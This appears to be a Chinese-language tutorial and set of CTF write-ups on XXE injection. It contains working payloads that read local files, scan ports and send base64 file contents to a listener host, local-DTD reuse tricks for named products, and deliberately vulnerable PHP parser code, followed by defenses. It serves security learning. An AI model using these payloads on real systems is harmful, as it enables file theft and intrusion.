基础知识

xml 定义xml的版本和编码

1
<?xml version="1.0" encoding="utf-8"?>

dtd 文档类型定义

1
<!DOCTYPE 根元素名 [元素描述] >  文档类型定义DTD

向文档中添加实体

1
2
<!ENTITY 实体名称 "实体的值" > 内部引入
<!ENTITY 实体名称 SYSTEM "URI" >

除参数实体外,实体都以&开头 以 ;结尾

参数实体

以% 开头

内部实体

在一个实体的定义中定义,也叫嵌套实体

1
2
3
4
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY p1k 'http://www.baidu.com'>">
%param1;
]>

param1 是参数实体 p1k是内部实体

外部实体

外部实体表示外部文件的内容,通过system引入

1
<!ENTITY 实体名称 SYSTEM "URI" >

php中可以引发xxe注入的类和函数

php有三个可以导致xxe问题的类和函数

1
2
3
DOMDocument
SimpleXMLElement
simplexml_load_string

xxe注入

直接引入外部文件

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

限制条件

有回显

没有禁用外部实体

端口扫描

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

根据响应时间来判断

CDATA注入

cdata内的数据不会被解析,就算有特殊符号也没事(除了]])

测试代码

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

复现未成功

OOB注入

服务器没有回显,需要把数据传的VPS上

因为xml 规定不允许在一个实体的定义中调用另一个实体,所以 不能这么写(不同的xml解释器解析结果不一样,有的解析器是允许这样写的 见下面的google ctf) 这里就以不能这样写 为例

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

w3c的XML协议上 ,又这样一段话

1
2
3
在内部DTD集中,参数实体的引用不能存在于标记的声明中。这并不适用于外部的参数实体中。

这意味着,协议本身就必须要求不能在内部的实体声明中引用参数

所以可以利用外部实体,

测试代码

1
2
3
4
5
<?php  
libxml_disable_entity_loader(false);
$xml=file_get_contents('php://input');
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT | LIBXML_DTDLOAD);
?>

在VPS上放一个dtd文件

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///1.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.110.135:9999?p=%file;'>">

payload

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.110.135/evil2.dtd">
%remote;%int;%send;
]>

VPS上开启监听

1
2
3
4
5
6
[email protected]:/var/www/html# nc -lvp 9999
listening on [any] 9999 ...
192.168.110.1: inverse host lookup failed: Unknown host
connect to [192.168.110.135] from (UNKNOWN) [192.168.110.1] 21525
GET /?p=d3FzcXdz HTTP/1.0
Host: 192.168.110.135:9999

限制条件

可以导入外部实体

基于报错的OOB

原理和上面的OOB一样,不过把url改成了一个错误的url,让程序报错,把结果显示出来

测试

evil2.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///1.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'file:///adminsb/%file;'>">

payload

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.110.135/evil2.dtd">
%remote;%int;%send;
]>

结果

1
Warning: simplexml_load_string(): I/O warning : failed to load external entity "file:///adminsb/d3FzcXdz"

导入本地文件

xml是实体都是常量,所以 如果定义两个相同的实体,则仅使用第一个实体

ogeek

查看源码 有一个js文件 很可疑 进去看看,

发送一个数据包 ,xml文档构造正确时,状态码200 错误时500

去kali下搜索一下 .dtd文件

1
find / name "*.dtd"

找到一个fonts.dtd

这里面有一段代码

1
2
<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>
<!ELEMENT patelt (%constant;)*>

可以闭合%constant

类似于sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">


<!ENTITY % constant 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/%file;'>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>


%local_dtd;
]>
<message>any text</message>

分析一下,调用过程

首先 调用了local_dtd 加载fonts.dtd文件,这个文件会去调用%constant实体

因为两个实体只解析第一个,所以构造的 %constant被解析,

1
2
3
4
5
6
<!ELEMENT patelt (aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/%file;'>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb)*>

现在变成了这样 fonts.dtd文件在向下解析的时候就回去调用,构造好的 eval error

结果

image

windows下的dtd文件查找

放两个默认的

1
2
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd
1
2
3
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Cisco WebEx

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

1
2
3
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Custom Multi-Platform IBM WebSphere Application

1
2
3
4
5
6
7
8
9
10
11
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

google ctf bnv

查看源码,有个js文件,进去看看,

有这样几行代码,应该是向api/search 发送xml数据

1
2
3
var url = '/api/search';
xhr = new XMLHttpRequest();
xhr.open('POST', url, true);

直接用本地dtd文件 打一下

payload1

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%remote;
]>
<message>10</message>

payload2

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
<message>any text</message>

拿到flag

实例

apache solr

防御

php

1
libxml_disable_entity_loader(true);

java

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

python

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考链接

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

https://xz.aliyun.com/t/3357#toc-17

https://blog.szfszf.top/tech/blind-xxe-%E8%AF%A6%E8%A7%A3-google-ctf-%E4%B8%80%E9%81%93%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90/